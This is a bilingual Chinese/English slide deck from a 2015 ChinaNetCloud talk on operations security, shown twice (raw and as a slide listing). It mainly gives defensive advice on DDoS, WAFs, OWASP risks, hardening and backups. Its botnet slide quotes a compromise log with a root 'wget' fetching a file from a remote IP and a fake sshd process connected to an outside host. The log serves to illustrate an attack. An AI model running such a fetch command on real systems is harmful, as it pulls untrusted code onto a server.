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Copyright © 2015 ChinaNetCloudServer Management  Cloud computing  System Consulting
Running the World’s Internet
Servers
运维安全:抵抗黑客攻击
云络 王 寒
ChinaNetCloud – Solution Proposal *** Confidential ***
2
令人激动的互联网
ChinaNetCloud – Solution Proposal *** Confidential ***
3
融入生活每一部分
ChinaNetCloud – Solution Proposal *** Confidential ***
4
但,不是诸事如意
ChinaNetCloud – Solution Proposal *** Confidential ***
5
当今三大安全问题
DDoS
数据盗窃
Botnets 僵尸网络
ChinaNetCloud – Solution Proposal *** Confidential ***
6
Security Problem #1 – DDoS
第一安全问题-DDoS
• For Fun 捣蛋
• Get Money 赚钱
• Competitors 竞争
ChinaNetCloud – Solution Proposal *** Confidential ***
7
Security Problem #2 – Stealing Data
第二安全问题-数据盗窃
• Steal Money
偷钱
• Steal/Sell Data
偷数据
• Steal Code
偷代码
ChinaNetCloud – Solution Proposal *** Confidential ***
8
Security Problem #3 – BotNETs
第三个安全问题-僵尸网络
• Break In 攻入
• Install Root Kit 安装
• Call home for control 呼叫
• Do evil 作恶
Apr 23 14:34:03 [/root]# wget http://61.147.103.146:999/IP
root 1451 0.1 0.0 75196 1260 ? Ssl 00:54 1:36 /root/sshd
sshd 1451 root 4u IPv4 318269 0t0 TCP :22839->36.251.187.212:13800 (ESTABLISHED)
ChinaNetCloud – Solution Proposal *** Confidential ***
9
四层安全
系统网络
代码 运维
ChinaNetCloud – Solution Proposal *** Confidential ***
10
网络安全
• DDoS 攻击1 Overload Bandwidth 带宽超载
• DDoS 攻击2 Overload Servers 服务器超载
• Cloud Filtering – Anquanbao 安全宝
• CDN Support -CDN支持
• IDC Hardware -IDC 硬件
• Front of Application — WAF
DDoS 策略
ChinaNetCloud – Solution Proposal *** Confidential ***
11
系统安全
• Required – Basic protection
要求-基本的保护
• Basic filtering
基本的过滤
• NAT inbound
• ssh, monitoring
• NAT outbound
• Backups, DNS, ntp, updates
WAF 网页应用防火墙
传统防火墙
• Two key protections
两种主要的防护
• Protect Application Code
保护应用代码
• OWASP basics
• SQL, XSS
• Dedicated Hardware
专有硬件设备
• Palo Alto Networks
• Software / Virtual
软件/虚拟服务
• Anquanbao - 安全宝
• Aliyun Cloud Shell - 云盾
• Software Module
软件模块
• modSecurity
• DDoS Filtering & Limiting
过滤和限制
• IP, agent, url, session
ChinaNetCloud – Solution Proposal *** Confidential ***
12
代码安全 —— OWASP项目
Key Points要点
• A1 – Injection
• A2 – Auth & Session Mgmt
• A3 – XSS
• A7 – Function ACLs
• A8 – CSRF
• A9 – Insecure Components
http://owasp.org.cn
ChinaNetCloud – Solution Proposal *** Confidential ***
13
代码安全 —— 代码扫描
• Best practice
最佳实践
• Find new problems
找到新问题
• As you update
更新
• Third parties
第三方
• New exploits
新的改进
ChinaNetCloud – Solution Proposal *** Confidential ***
14
运维安全 —— 经常被遗忘
• Often forgotten
经常被遗忘
• Often use defaults
经常采取默认设置
• Or random Google search
或用谷歌搜索配置
• Source of great danger
风险的发源地
ChinaNetCloud – Solution Proposal *** Confidential ***
15
运维安全 —— 服务器
• Best practices
最佳实践
• Lots of small issues
许多细小问题
• Running user - 用户运行
• File permissions - 文件许可
• Dangerous uploads - PHP inside JPEGs
危险的上传
• SSL – Heartbleed, etc.
APP 服务器Web 服务器
• Best Practices
最佳实践
• Delete example APPs
删除样例
• Delete tools (Tomcat)
删除工具
• Patch Software (Java!)
软件补丁
ChinaNetCloud – Solution Proposal *** Confidential ***
16
运维安全 —— 服务器
数据库
• Use Best Practices
最佳实践
• Secure Configuration
安全配置
• Limited User Permission
限制用户许可
• Separate App & DBA User
区分APP和DBA用户
• Separate User for each App
区分每个APP的用户
• Safe File Permissions
安全的文件许可
• Log SQL if possible
尽可能记录SQL
ChinaNetCloud – Solution Proposal *** Confidential ***
17
运维安全 —— 操作系统
• Hardened OS
加固
• Iptables
防火墙
• Run Users
用户运行
• File permissions
文件许可
• Logging
日志
• Scanning (ClamAV)
扫描
• Track activity
轨迹追踪
• Automate
自动
• System Updates
系统升级
ChinaNetCloud – Solution Proposal *** Confidential ***
18
运维安全 —— 云平台
• Best Practice
最佳实践
• Control Access
控制登录权限
• Can delete EVERYTHING
会被意外删除
• Separate Backups
备份隔离
• Out of Cloud
在云之外
• MFA Delete on AWS
AWS上删除MFA
ChinaNetCloud – Solution Proposal *** Confidential ***
19
运维安全 —— 网络
• Generally okay, BUT
• VPC on Clouds – Separate
使用公共云上隔离的私有网络
• Consider Out-of-Band Link (DDoS)
考虑带外数据链接
• Firewalls – Front & Middle
防火墙-前端&中间
• Secure Configuration
安全配置
• Separate test/dev network
区分测试/开发
ChinaNetCloud – Solution Proposal *** Confidential ***
20
运维安全 —— 备份安全
• Backups ARE part of Security
备份属于安全管理的范畴
• If all else fails, use backups
若发生意外,使用备份
• Keep them Secure
安全备份
• Avoid Theft & Tampering
防止盗窃或恶意企图
• Read-Only is Best
最好采用只读
运维安全 —— 安全监控
运维安全 —— 审计
Deep Check to Find Problems
深入检查,发现问题
ChinaNetCloud – Solution Proposal *** Confidential ***
总结
Security is Critically Important
安全非常重要
Increasingly Important
并且,越来越重要
Getting Harder
但也,越来越难
But more Tools
但,实用工具越来越多
Details & Experts Help
注重细节,并且需要专家帮助
• Deep Experience
丰富经验
• Experts at Every Level
全面专业
• Part of Overall Operations
是运维工作的一部分
云络可以帮您
ChinaNetCloud – Solution Proposal *** Confidential ***
22
谢 谢!

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运维安全 抵抗黑客攻击_云络安全沙龙4月上海站主题分享

  • 1. Copyright © 2015 ChinaNetCloudServer Management  Cloud computing  System Consulting Running the World’s Internet Servers 运维安全:抵抗黑客攻击 云络 王 寒
  • 2. ChinaNetCloud – Solution Proposal *** Confidential *** 2 令人激动的互联网
  • 3. ChinaNetCloud – Solution Proposal *** Confidential *** 3 融入生活每一部分
  • 4. ChinaNetCloud – Solution Proposal *** Confidential *** 4 但,不是诸事如意
  • 5. ChinaNetCloud – Solution Proposal *** Confidential *** 5 当今三大安全问题 DDoS 数据盗窃 Botnets 僵尸网络
  • 6. ChinaNetCloud – Solution Proposal *** Confidential *** 6 Security Problem #1 – DDoS 第一安全问题-DDoS • For Fun 捣蛋 • Get Money 赚钱 • Competitors 竞争
  • 7. ChinaNetCloud – Solution Proposal *** Confidential *** 7 Security Problem #2 – Stealing Data 第二安全问题-数据盗窃 • Steal Money 偷钱 • Steal/Sell Data 偷数据 • Steal Code 偷代码
  • 8. ChinaNetCloud – Solution Proposal *** Confidential *** 8 Security Problem #3 – BotNETs 第三个安全问题-僵尸网络 • Break In 攻入 • Install Root Kit 安装 • Call home for control 呼叫 • Do evil 作恶 Apr 23 14:34:03 [/root]# wget http://61.147.103.146:999/IP root 1451 0.1 0.0 75196 1260 ? Ssl 00:54 1:36 /root/sshd sshd 1451 root 4u IPv4 318269 0t0 TCP :22839->36.251.187.212:13800 (ESTABLISHED)
  • 9. ChinaNetCloud – Solution Proposal *** Confidential *** 9 四层安全 系统网络 代码 运维
  • 10. ChinaNetCloud – Solution Proposal *** Confidential *** 10 网络安全 • DDoS 攻击1 Overload Bandwidth 带宽超载 • DDoS 攻击2 Overload Servers 服务器超载 • Cloud Filtering – Anquanbao 安全宝 • CDN Support -CDN支持 • IDC Hardware -IDC 硬件 • Front of Application — WAF DDoS 策略
  • 11. ChinaNetCloud – Solution Proposal *** Confidential *** 11 系统安全 • Required – Basic protection 要求-基本的保护 • Basic filtering 基本的过滤 • NAT inbound • ssh, monitoring • NAT outbound • Backups, DNS, ntp, updates WAF 网页应用防火墙 传统防火墙 • Two key protections 两种主要的防护 • Protect Application Code 保护应用代码 • OWASP basics • SQL, XSS • Dedicated Hardware 专有硬件设备 • Palo Alto Networks • Software / Virtual 软件/虚拟服务 • Anquanbao - 安全宝 • Aliyun Cloud Shell - 云盾 • Software Module 软件模块 • modSecurity • DDoS Filtering & Limiting 过滤和限制 • IP, agent, url, session
  • 12. ChinaNetCloud – Solution Proposal *** Confidential *** 12 代码安全 —— OWASP项目 Key Points要点 • A1 – Injection • A2 – Auth & Session Mgmt • A3 – XSS • A7 – Function ACLs • A8 – CSRF • A9 – Insecure Components http://owasp.org.cn
  • 13. ChinaNetCloud – Solution Proposal *** Confidential *** 13 代码安全 —— 代码扫描 • Best practice 最佳实践 • Find new problems 找到新问题 • As you update 更新 • Third parties 第三方 • New exploits 新的改进
  • 14. ChinaNetCloud – Solution Proposal *** Confidential *** 14 运维安全 —— 经常被遗忘 • Often forgotten 经常被遗忘 • Often use defaults 经常采取默认设置 • Or random Google search 或用谷歌搜索配置 • Source of great danger 风险的发源地
  • 15. ChinaNetCloud – Solution Proposal *** Confidential *** 15 运维安全 —— 服务器 • Best practices 最佳实践 • Lots of small issues 许多细小问题 • Running user - 用户运行 • File permissions - 文件许可 • Dangerous uploads - PHP inside JPEGs 危险的上传 • SSL – Heartbleed, etc. APP 服务器Web 服务器 • Best Practices 最佳实践 • Delete example APPs 删除样例 • Delete tools (Tomcat) 删除工具 • Patch Software (Java!) 软件补丁
  • 16. ChinaNetCloud – Solution Proposal *** Confidential *** 16 运维安全 —— 服务器 数据库 • Use Best Practices 最佳实践 • Secure Configuration 安全配置 • Limited User Permission 限制用户许可 • Separate App & DBA User 区分APP和DBA用户 • Separate User for each App 区分每个APP的用户 • Safe File Permissions 安全的文件许可 • Log SQL if possible 尽可能记录SQL
  • 17. ChinaNetCloud – Solution Proposal *** Confidential *** 17 运维安全 —— 操作系统 • Hardened OS 加固 • Iptables 防火墙 • Run Users 用户运行 • File permissions 文件许可 • Logging 日志 • Scanning (ClamAV) 扫描 • Track activity 轨迹追踪 • Automate 自动 • System Updates 系统升级
  • 18. ChinaNetCloud – Solution Proposal *** Confidential *** 18 运维安全 —— 云平台 • Best Practice 最佳实践 • Control Access 控制登录权限 • Can delete EVERYTHING 会被意外删除 • Separate Backups 备份隔离 • Out of Cloud 在云之外 • MFA Delete on AWS AWS上删除MFA
  • 19. ChinaNetCloud – Solution Proposal *** Confidential *** 19 运维安全 —— 网络 • Generally okay, BUT • VPC on Clouds – Separate 使用公共云上隔离的私有网络 • Consider Out-of-Band Link (DDoS) 考虑带外数据链接 • Firewalls – Front & Middle 防火墙-前端&中间 • Secure Configuration 安全配置 • Separate test/dev network 区分测试/开发
  • 20. ChinaNetCloud – Solution Proposal *** Confidential *** 20 运维安全 —— 备份安全 • Backups ARE part of Security 备份属于安全管理的范畴 • If all else fails, use backups 若发生意外,使用备份 • Keep them Secure 安全备份 • Avoid Theft & Tampering 防止盗窃或恶意企图 • Read-Only is Best 最好采用只读 运维安全 —— 安全监控 运维安全 —— 审计 Deep Check to Find Problems 深入检查,发现问题
  • 21. ChinaNetCloud – Solution Proposal *** Confidential *** 总结 Security is Critically Important 安全非常重要 Increasingly Important 并且,越来越重要 Getting Harder 但也,越来越难 But more Tools 但,实用工具越来越多 Details & Experts Help 注重细节,并且需要专家帮助 • Deep Experience 丰富经验 • Experts at Every Level 全面专业 • Part of Overall Operations 是运维工作的一部分 云络可以帮您
  • 22. ChinaNetCloud – Solution Proposal *** Confidential *** 22 谢 谢!